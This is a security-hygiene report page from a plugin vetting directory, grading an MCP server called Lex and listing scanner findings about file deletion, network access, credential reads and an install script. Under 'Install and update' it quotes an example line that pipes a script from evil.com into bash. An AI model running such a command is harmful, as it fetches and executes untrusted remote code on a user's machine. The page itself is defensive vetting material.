Grades are a hygiene check, not a security guarantee.

MCP, MCP server

Lex

Lex, an MCP server listed in the PlugVet directory.

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit a24833523d54.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    package.json, line 196 prepare

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    scripts/clean-pack-artifacts.mjs, line 15

    fs.rmSync(tarballPath, { force: true });

    scripts/clean-pack-artifacts.mjs, line 17

    fs.rmSync(packJsonPath, { force: true });

    scripts/clean-release-outputs.mjs, line 68

    fs.rmSync(dist, { recursive: true, force: true });

    Show more

    scripts/clean-release-outputs.mjs, line 77

    fs.unlinkSync(buildInfo);

    scripts/clean-release-outputs.mjs, line 96

    fs.unlinkSync(assertSafeFilePath(resolvedRoot, canonicalRoot, relativePath));

    scripts/consumer-smoke-test.mjs, line 173

    fs.rmSync(testDir, { recursive: true, force: true });

    scripts/consumer-smoke-test.mjs, line 175

    fs.rmSync(tarballPath, { force: true });

    scripts/prepare-release-candidate.mjs, line 78

    fs.rmSync(generatedPath, { force: true });

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    package.json, line 196

    prepare

    .github/ISSUE_TEMPLATE/issue-C1-command-whitelist.md, line 33

    await exec('curl https://evil.com/script.sh | bash'); // ❌ No prevention

  • Network

    Concern

    can reach a host that is not written as a fixed address. can reach api.github.com. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    scripts/update-mcp-registry-schema.mjs, line 17

    const response = await fetch(schemaUrl);

    src/memory/mcp_server/auth/github-provider.ts, line 51

    const response = await axios.post(

    src/memory/mcp_server/auth/github-provider.ts, line 88

    const userResponse = await axios.get("https://api.github.com/user", {

    Show more

    src/memory/mcp_server/auth/github-provider.ts, line 96

    const emailsResponse = await axios.get("https://api.github.com/user/emails", {

    docs/atlas/examples.md, line 134

    response = requests.post(

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    scripts/create-sqlite-v12-fixtures.mjs, line 48

    if (encrypted) process.env.LEX_DB_KEY = passphrase;

    scripts/create-sqlite-v12-fixtures.mjs, line 49

    else delete process.env.LEX_DB_KEY;

    scripts/lex3-postgres-dogfood-canary.ts, line 1552

    process.env.LEX_POSTGRES_PASSWORD_STDIN === "1"

    Show more

    scripts/lex3-postgres-dogfood-canary.ts, line 1554

    : process.env.LEX_POSTGRES_PASSWORD;

    scripts/lex3-postgres-dogfood-canary.ts, line 1555

    delete process.env.LEX_POSTGRES_PASSWORD;

    scripts/lex3-postgres-dogfood-canary.ts, line 1556

    delete process.env.LEX_POSTGRES_PASSWORD_STDIN;

    src/memory/store/db.ts, line 285

    const passphrase = process.env.LEX_DB_KEY;

    src/memory/store/postgres/frame-store.ts, line 244

    if (!hasEmbeddedPassword && process.env.LEX_POSTGRES_PASSWORD) {

    .gitignore, line 69

    .env

    SECURITY.md, line 127

    and prefer your platform's secret injection mechanism over checked-in `.env` or MCP configuration

    docs/control-stack/scope-and-blast-radius/index.md, line 45

    Forbidden: node_modules/, .env

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    a file was over the read cap and was not fully read. the file cap was reached before every file was read.

    OBFUSCATION_FILE_OVER_READ_CAP OBFUSCATION_FILE_CAP_REACHED

    lint-baseline.json, line 1

    [{"filePath":"/srv/lex-mcp/lex/.smartergpt/schemas/feature-spec-v0.js","messages":[],"suppressedMessages":[],"errorCount":0,"fatalErrorCount":0,"warningCount":0,"fixableErrorCount"

    package-lock.json, line 1

    {

    src/memory/store/postgres/frame-store.ts, line 1

    import { createHash } from "node:crypto";

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit a24833523d54. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach api.github.com. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read. the file cap was reached before every file was read.

Date and source

Date checked:

View source

github.com

Commit graded: a24833523d54406deeffbfd8099aa7e4dff0184e

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen